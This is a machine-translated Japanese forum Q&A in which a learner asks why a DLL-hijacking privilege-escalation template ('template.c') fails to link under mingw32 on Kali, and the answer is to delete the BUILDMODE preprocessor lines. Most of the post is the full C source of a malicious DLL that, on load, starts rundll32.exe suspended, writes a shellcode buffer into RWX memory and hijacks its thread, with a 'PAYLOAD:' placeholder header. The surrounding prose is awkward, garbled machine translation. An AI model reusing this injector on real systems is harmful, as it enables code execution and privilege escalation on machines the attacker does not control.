をコンパイルしながら、私はステップバイステップにヴィヴェックによって作られたこのビデオを行く、DLLハイジャックについて学んだ - Privilege Escalation using DLL Hijacking権限昇格 - エラー「template.cを」
すべてが非常によく説明しているが、一つはそこにあります困ったことになっている通路。それはKali Linux上でmingw32を使って "template.c"をコンパイルすることです。私はビデオに記載されているように同じことをやっているときは、意味:
[email protected]:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll -shared
を、私はまだ、このエラーを取得しています:ここで
/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to `inline_bzero' collect2: error: ld returned 1 exit status
は「template.cを」
のソースコードです#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero(&si, sizeof(si));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ("int3");
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
必要に応じて、 "template.h"。解決
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
。
「#if BUILDMODE == 2」と「#endif」行を削除するだけで、コンパイルは正常に完了します。
これは質問のように聞こえます。 – Daisetsu
コードを投稿したいと思うかもしれません。最初の一見では、あなたが参照するが、定義していないinline_bzeroという関数があるようです。 – Daisetsu
答えが無ければ、私はstackoverflowを試みます。セキュリティとはまだ関係があります。 Btw、ポイントありがとう、ソースコードが追加されました。私は忘れる。 – Yeez